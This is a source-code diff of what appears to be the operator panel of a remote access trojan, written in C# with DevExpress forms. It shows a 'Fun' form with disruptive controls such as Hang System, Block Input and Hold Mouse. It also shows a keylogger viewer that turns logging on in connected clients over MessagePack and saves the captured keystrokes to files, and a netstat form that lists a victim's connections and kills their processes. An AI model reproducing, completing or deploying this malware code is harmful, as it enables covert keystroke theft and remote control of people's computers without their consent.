this.label9.Size = new System.Drawing.Size(91, 16);
this.label9.TabIndex = 17;
this.label9.Text = "Open CD Drive";
this.toggleSwitchLock.Location = new System.Drawing.Point(146, 294);
this.toggleSwitchLock.Name = "toggleSwitchLock";
this.toggleSwitchLock.Properties.OffText = "Off";
this.toggleSwitchLock.Properties.OnText = "On";
this.toggleSwitchLock.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchLock.TabIndex = 20;
this.toggleSwitchLock.Toggled += new System.EventHandler(toggleSwitchLock_Toggled);
this.label10.AutoSize = true;
this.label10.Location = new System.Drawing.Point(23, 298);
this.label10.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label10.Name = "label10";
this.label10.Size = new System.Drawing.Size(77, 16);
this.label10.TabIndex = 19;
this.label10.Text = "Lock Screen";
this.toggleSwitchCamera.Location = new System.Drawing.Point(146, 342);
this.toggleSwitchCamera.Name = "toggleSwitchCamera";
this.toggleSwitchCamera.Properties.OffText = "Off";
this.toggleSwitchCamera.Properties.OnText = "On";
this.toggleSwitchCamera.Size = new System.Drawing.Size(119, 24);
this.toggleSwitchCamera.TabIndex = 22;
this.toggleSwitchCamera.Toggled += new System.EventHandler(toggleSwitchCamera_Toggled);
this.label11.AutoSize = true;
this.label11.Location = new System.Drawing.Point(23, 346);
this.label11.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label11.Name = "label11";
this.label11.Size = new System.Drawing.Size(114, 16);
this.label11.TabIndex = 21;
this.label11.Text = "Web Camera Light";
this.btnOk.Location = new System.Drawing.Point(288, 282);
this.btnOk.Name = "btnOk";
this.btnOk.Size = new System.Drawing.Size(290, 40);
this.btnOk.TabIndex = 23;
this.btnOk.Text = "Play Audio";
this.btnOk.Click += new System.EventHandler(button13_Click_1);
this.simpleButton1.Location = new System.Drawing.Point(288, 235);
this.simpleButton1.Name = "simpleButton1";
this.simpleButton1.Size = new System.Drawing.Size(290, 40);
this.simpleButton1.TabIndex = 24;
this.simpleButton1.Text = "Turn Off Monitor";
this.simpleButton1.Click += new System.EventHandler(button12_Click);
this.simpleButton2.Location = new System.Drawing.Point(288, 328);
this.simpleButton2.Name = "simpleButton2";
this.simpleButton2.Size = new System.Drawing.Size(290, 40);
this.simpleButton2.TabIndex = 25;
this.simpleButton2.Text = "Hang System";
this.simpleButton2.Click += new System.EventHandler(button14_Click);
this.groupControl1.AutoSize = true;
this.groupControl1.Controls.Add(this.numericUpDown1);
this.groupControl1.Controls.Add(this.label1);
this.groupControl1.Controls.Add(this.label2);
this.groupControl1.Controls.Add(this.simpleButton3);
this.groupControl1.GroupStyle = DevExpress.Utils.GroupStyle.Light;
this.groupControl1.Location = new System.Drawing.Point(286, 30);
this.groupControl1.Name = "groupControl1";
this.groupControl1.Size = new System.Drawing.Size(292, 91);
this.groupControl1.TabIndex = 27;
this.groupControl1.Text = "Block Input";
this.groupControl2.AutoSize = true;
this.groupControl2.Controls.Add(this.numericUpDown2);
this.groupControl2.Controls.Add(this.label4);
this.groupControl2.Controls.Add(this.simpleButton4);
this.groupControl2.Controls.Add(this.label3);
this.groupControl2.GroupStyle = DevExpress.Utils.GroupStyle.Light;
this.groupControl2.Location = new System.Drawing.Point(286, 130);
this.groupControl2.Name = "groupControl2";
this.groupControl2.Size = new System.Drawing.Size(292, 91);
this.groupControl2.TabIndex = 27;
this.groupControl2.Text = "Hold Mouse";
this.xtraTabControl1.Location = new System.Drawing.Point(14, 15);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(602, 431);
this.xtraTabControl1.TabIndex = 28;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.label5);
this.xtraTabPage1.Controls.Add(this.groupControl2);
this.xtraTabPage1.Controls.Add(this.toggleSwitchTaskbar);
this.xtraTabPage1.Controls.Add(this.groupControl1);
this.xtraTabPage1.Controls.Add(this.label6);
this.xtraTabPage1.Controls.Add(this.simpleButton2);
this.xtraTabPage1.Controls.Add(this.toggleSwitchDesktop);
this.xtraTabPage1.Controls.Add(this.simpleButton1);
this.xtraTabPage1.Controls.Add(this.label7);
this.xtraTabPage1.Controls.Add(this.btnOk);
this.xtraTabPage1.Controls.Add(this.toggleSwitchClock);
this.xtraTabPage1.Controls.Add(this.toggleSwitchCamera);
this.xtraTabPage1.Controls.Add(this.label8);
this.xtraTabPage1.Controls.Add(this.label11);
this.xtraTabPage1.Controls.Add(this.toggleSwitchMouse);
this.xtraTabPage1.Controls.Add(this.toggleSwitchLock);
this.xtraTabPage1.Controls.Add(this.label9);
this.xtraTabPage1.Controls.Add(this.label10);
this.xtraTabPage1.Controls.Add(this.toggleSwitchOpenDC);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(600, 400);
this.xtraTabPage1.Text = "Fun Function";
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(630, 464);
base.Controls.Add(this.xtraTabControl1);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormFun.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormFun.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5);
this.MaximumSize = new System.Drawing.Size(632, 498);
this.MinimumSize = new System.Drawing.Size(632, 498);
base.Name = "FormFun";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Fun";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormFun_FormClosed);
((System.ComponentModel.ISupportInitialize)this.numericUpDown1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchTaskbar.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchDesktop.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchClock.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchMouse.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchOpenDC.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchLock.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.toggleSwitchCamera.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.groupControl1).EndInit();
this.groupControl1.ResumeLayout(false);
this.groupControl1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.groupControl2).EndInit();
this.groupControl2.ResumeLayout(false);
this.groupControl2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
this.xtraTabPage1.PerformLayout();
base.ResumeLayout(false);
}
}

30
Forms/FormFun.resx Normal file

File diff suppressed because one or more lines are too long

110
Forms/FormInputString.cs Normal file
View File

@ -0,0 +1,110 @@
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
namespace Server.Forms;
public class FormInputString : XtraForm
{
private IContainer components;
private SimpleButton simpleButton3;
private SimpleButton simpleButton1;
private TextEdit txtResult;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public string note
{
get
{
return txtResult.Text;
}
set
{
txtResult.Text = value;
}
}
public FormInputString()
{
InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormInputString));
this.simpleButton3 = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton1 = new DevExpress.XtraEditors.SimpleButton();
this.txtResult = new DevExpress.XtraEditors.TextEdit();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.txtResult.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.simpleButton3.DialogResult = System.Windows.Forms.DialogResult.OK;
this.simpleButton3.Location = new System.Drawing.Point(57, 72);
this.simpleButton3.Name = "simpleButton3";
this.simpleButton3.Size = new System.Drawing.Size(83, 26);
this.simpleButton3.TabIndex = 27;
this.simpleButton3.Text = "OK";
this.simpleButton1.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.simpleButton1.Location = new System.Drawing.Point(195, 72);
this.simpleButton1.Name = "simpleButton1";
this.simpleButton1.Size = new System.Drawing.Size(83, 26);
this.simpleButton1.TabIndex = 28;
this.simpleButton1.Text = "Cancel";
this.txtResult.Location = new System.Drawing.Point(40, 27);
this.txtResult.Name = "txtResult";
this.txtResult.Size = new System.Drawing.Size(273, 30);
this.txtResult.TabIndex = 29;
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(351, 171);
this.xtraTabControl2.TabIndex = 30;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.txtResult);
this.xtraTabPage2.Controls.Add(this.simpleButton3);
this.xtraTabPage2.Controls.Add(this.simpleButton1);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(349, 140);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(351, 171);
base.Controls.Add(this.xtraTabControl2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormInputString.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(4);
this.MaximumSize = new System.Drawing.Size(353, 205);
this.MinimumSize = new System.Drawing.Size(353, 205);
base.Name = "FormInputString";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Please input note...";
((System.ComponentModel.ISupportInitialize)this.txtResult.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
base.ResumeLayout(false);
}
}

View File

@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="FormInputString.IconOptions.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAawEAAAKJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAsY8L/GEFAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAA90RVh0VGl0bGUAVGFzaztFZGl0uI9mswAAAOJJREFUOE+lkMEJwkAQRaOgDaWOoEjAIrx5sABJD3agNhBIAV4EG9GDDURZ/193ht3NxIuHx2Rn/38JKZxzStM0MS5D7+JOcni0i6Qoe2vHLGdcdrnAIs6aAj7vTocBkiP3donhcxNdUvC8bMmgTCTHDLNyNgU8/yVAYcZdJKjBkTsRyJ0pkB0Cc7AGL9CHXYIpwMUZvMEG9IEVc9W+K4ELlGOCCvAzCct1VlbJmEAkV6Osb+f8JSBThKyySkxBDENZScvA/InCLQgknJTZwUwFBiKIJb48EOSwnAlE4otfuuIDCZt8r9epYNEAAAAASUVORK5CYIIL</value></data></root>

219
Forms/FormKeylogger.cs Normal file
View File

@ -0,0 +1,219 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Forms;
public class FormKeylogger : XtraForm
{
public StringBuilder Sb = new StringBuilder();
private IContainer components;
public RichTextBox richTextBox1;
public System.Windows.Forms.Timer timer1;
private SimpleButton toolStripButton1;
private TextEdit toolStripTextBox1;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
private PanelControl panelControl1;
public FormMain F { get; set; }
internal Clients Client { get; set; }
public string FullPath { get; set; }
public FormKeylogger()
{
InitializeComponent();
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
{
Sb?.Clear();
if (Client != null)
{
ThreadPool.QueueUserWorkItem(delegate
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "Logger";
msgPack.ForcePathObject("isON").AsString = "false";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
});
}
}
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
{
richTextBox1.SelectionStart = 0;
richTextBox1.SelectAll();
richTextBox1.SelectionBackColor = Color.White;
if (e.KeyData != Keys.Return || string.IsNullOrWhiteSpace(toolStripTextBox1.Text))
{
return;
}
int num;
for (int i = 0; i < richTextBox1.TextLength; i += num + toolStripTextBox1.Text.Length)
{
num = richTextBox1.Find(toolStripTextBox1.Text, i, RichTextBoxFinds.None);
if (num != -1)
{
richTextBox1.SelectionStart = num;
richTextBox1.SelectionLength = toolStripTextBox1.Text.Length;
richTextBox1.SelectionBackColor = Color.Yellow;
continue;
}
break;
}
}
private void ToolStripButton1_Click(object sender, EventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
File.WriteAllText(FullPath + "\\Keylogger_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", richTextBox1.Text.Replace("\n", Environment.NewLine));
}
catch
{
}
}
private void FormKeylogger_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormKeylogger));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.toolStripButton1 = new DevExpress.XtraEditors.SimpleButton();
this.toolStripTextBox1 = new DevExpress.XtraEditors.TextEdit();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
((System.ComponentModel.ISupportInitialize)this.toolStripTextBox1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.richTextBox1.ForeColor = System.Drawing.Color.Gainsboro;
this.richTextBox1.Location = new System.Drawing.Point(0, 28);
this.richTextBox1.Margin = new System.Windows.Forms.Padding(2);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(626, 275);
this.richTextBox1.TabIndex = 1;
this.richTextBox1.Text = "";
this.toolStripButton1.Dock = System.Windows.Forms.DockStyle.Right;
this.toolStripButton1.Location = new System.Drawing.Point(515, 2);
this.toolStripButton1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.toolStripButton1.Name = "toolStripButton1";
this.toolStripButton1.Size = new System.Drawing.Size(109, 24);
this.toolStripButton1.TabIndex = 2;
this.toolStripButton1.Text = "Save Logs";
this.toolStripButton1.Click += new System.EventHandler(ToolStripButton1_Click);
this.toolStripTextBox1.Dock = System.Windows.Forms.DockStyle.Left;
this.toolStripTextBox1.Location = new System.Drawing.Point(2, 2);
this.toolStripTextBox1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.toolStripTextBox1.Name = "toolStripTextBox1";
this.toolStripTextBox1.Size = new System.Drawing.Size(500, 28);
this.toolStripTextBox1.TabIndex = 3;
this.toolStripTextBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(ToolStripTextBox1_KeyDown);
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabControl1.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(628, 334);
this.xtraTabControl1.TabIndex = 4;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage1 });
this.xtraTabPage1.Controls.Add(this.richTextBox1);
this.xtraTabPage1.Controls.Add(this.panelControl1);
this.xtraTabPage1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(626, 303);
this.panelControl1.Controls.Add(this.toolStripTextBox1);
this.panelControl1.Controls.Add(this.toolStripButton1);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl1.Location = new System.Drawing.Point(0, 0);
this.panelControl1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(626, 28);
this.panelControl1.TabIndex = 5;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(628, 334);
base.Controls.Add(this.xtraTabControl1);
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormKeylogger.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormKeylogger.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
this.MaximumSize = new System.Drawing.Size(732, 444);
this.MinimumSize = new System.Drawing.Size(630, 368);
base.Name = "FormKeylogger";
this.Text = "Keylogger";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(Keylogger_FormClosed);
base.Load += new System.EventHandler(FormKeylogger_Load);
((System.ComponentModel.ISupportInitialize)this.toolStripTextBox1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).EndInit();
this.xtraTabControl1.ResumeLayout(false);
this.xtraTabPage1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)this.panelControl1).EndInit();
this.panelControl1.ResumeLayout(false);
base.ResumeLayout(false);
}
}

30
Forms/FormKeylogger.resx Normal file

File diff suppressed because one or more lines are too long

30
Forms/FormLogin.resx Normal file

File diff suppressed because one or more lines are too long

6033
Forms/FormMain.cs Normal file

File diff suppressed because it is too large Load Diff

30
Forms/FormMain.resx Normal file

File diff suppressed because one or more lines are too long

338
Forms/FormNetstat.cs Normal file
View File

@ -0,0 +1,338 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraBars;
using DevExpress.XtraEditors;
using DevExpress.XtraGrid;
using DevExpress.XtraGrid.Columns;
using DevExpress.XtraGrid.Views.Base;
using DevExpress.XtraGrid.Views.Grid;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Handle_Packet;
namespace Server.Forms;
public class FormNetstat : XtraForm
{
private IContainer components;
public System.Windows.Forms.Timer timer1;
private PopupMenu popupMenuNetStat;
private BarButtonItem KillNetProcessMenu;
private BarButtonItem RefreshNetstatMenu;
private BarManager barManager1;
private BarDockControl barDockControlTop;
private BarDockControl barDockControlBottom;
private BarDockControl barDockControlLeft;
private BarDockControl barDockControlRight;
private GridControl gridControlNet;
private GridView gridViewNet;
private GridColumn IDColumn;
private GridColumn LocalColumn;
private GridColumn RemoteColumn;
private GridColumn StateColumn;
private XtraTabControl xtraTabControl2;
private XtraTabPage xtraTabPage2;
public FormMain F { get; set; }
internal Clients Client { get; set; }
internal Clients ParentClient { get; set; }
public FormNetstat()
{
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
private void FormNetstat_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
catch
{
}
}
private void RefreshNetstatMenu_ItemClick(object sender, ItemClickEventArgs e)
{
ThreadPool.QueueUserWorkItem(delegate
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "Netstat";
msgPack.ForcePathObject("Option").AsString = "List";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
});
}
private async void KillNetProcessMenu_ItemClick(object sender, ItemClickEventArgs e)
{
int[] selectedRows = gridViewNet.GetSelectedRows();
foreach (int index in selectedRows)
{
await Task.Run(delegate
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "Netstat";
msgPack.ForcePathObject("Option").AsString = "Kill";
msgPack.ForcePathObject("ID").AsString = (string)gridViewNet.GetRowCellValue(index, IDColumn);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
});
}
}
private void listViewNetstat_MouseUp(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
popupMenuNetStat.ShowPopup(gridControlNet.PointToScreen(e.Location));
}
}
public void LoadStates(string msg)
{
try
{
List<NetStatItem> list = new List<NetStatItem>();
string[] array = msg.Split(new string[1] { "-=>" }, StringSplitOptions.None);
int num;
for (num = 0; num < array.Length; num++)
{
if (array[num].Length > 0)
{
list.Add(new NetStatItem
{
id = array[num],
local = array[num + 1],
remote = array[num + 2],
state = array[num + 3]
});
}
num += 3;
}
gridControlNet.DataSource = list;
}
catch
{
}
}
private void FormNetstat_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormNetstat));
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.popupMenuNetStat = new DevExpress.XtraBars.PopupMenu(this.components);
this.KillNetProcessMenu = new DevExpress.XtraBars.BarButtonItem();
this.RefreshNetstatMenu = new DevExpress.XtraBars.BarButtonItem();
this.barManager1 = new DevExpress.XtraBars.BarManager(this.components);
this.barDockControlTop = new DevExpress.XtraBars.BarDockControl();
this.barDockControlBottom = new DevExpress.XtraBars.BarDockControl();
this.barDockControlLeft = new DevExpress.XtraBars.BarDockControl();
this.barDockControlRight = new DevExpress.XtraBars.BarDockControl();
this.gridControlNet = new DevExpress.XtraGrid.GridControl();
this.gridViewNet = new DevExpress.XtraGrid.Views.Grid.GridView();
this.IDColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.LocalColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.RemoteColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.StateColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.popupMenuNetStat).BeginInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.gridControlNet).BeginInit();
((System.ComponentModel.ISupportInitialize)this.gridViewNet).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.popupMenuNetStat.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[2]
{
new DevExpress.XtraBars.LinkPersistInfo(this.KillNetProcessMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.RefreshNetstatMenu)
});
this.popupMenuNetStat.Manager = this.barManager1;
this.popupMenuNetStat.Name = "popupMenuNetStat";
this.KillNetProcessMenu.Caption = "Kill";
this.KillNetProcessMenu.Id = 0;
this.KillNetProcessMenu.Name = "KillNetProcessMenu";
this.KillNetProcessMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(KillNetProcessMenu_ItemClick);
this.RefreshNetstatMenu.Caption = "Refresh";
this.RefreshNetstatMenu.Id = 1;
this.RefreshNetstatMenu.Name = "RefreshNetstatMenu";
this.RefreshNetstatMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(RefreshNetstatMenu_ItemClick);
this.barManager1.DockControls.Add(this.barDockControlTop);
this.barManager1.DockControls.Add(this.barDockControlBottom);
this.barManager1.DockControls.Add(this.barDockControlLeft);
this.barManager1.DockControls.Add(this.barDockControlRight);
this.barManager1.Form = this;
this.barManager1.Items.AddRange(new DevExpress.XtraBars.BarItem[2] { this.KillNetProcessMenu, this.RefreshNetstatMenu });
this.barManager1.MaxItemId = 2;
this.barDockControlTop.CausesValidation = false;
this.barDockControlTop.Dock = System.Windows.Forms.DockStyle.Top;
this.barDockControlTop.Location = new System.Drawing.Point(0, 0);
this.barDockControlTop.Manager = this.barManager1;
this.barDockControlTop.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlTop.Size = new System.Drawing.Size(723, 0);
this.barDockControlBottom.CausesValidation = false;
this.barDockControlBottom.Dock = System.Windows.Forms.DockStyle.Bottom;
this.barDockControlBottom.Location = new System.Drawing.Point(0, 530);
this.barDockControlBottom.Manager = this.barManager1;
this.barDockControlBottom.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlBottom.Size = new System.Drawing.Size(723, 0);
this.barDockControlLeft.CausesValidation = false;
this.barDockControlLeft.Dock = System.Windows.Forms.DockStyle.Left;
this.barDockControlLeft.Location = new System.Drawing.Point(0, 0);
this.barDockControlLeft.Manager = this.barManager1;
this.barDockControlLeft.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.barDockControlLeft.Size = new System.Drawing.Size(0, 530);
this.barDockControlRight.CausesValidation = false;
this.barDockControlRight.Dock = System.Windows.Forms.DockStyle.Right;
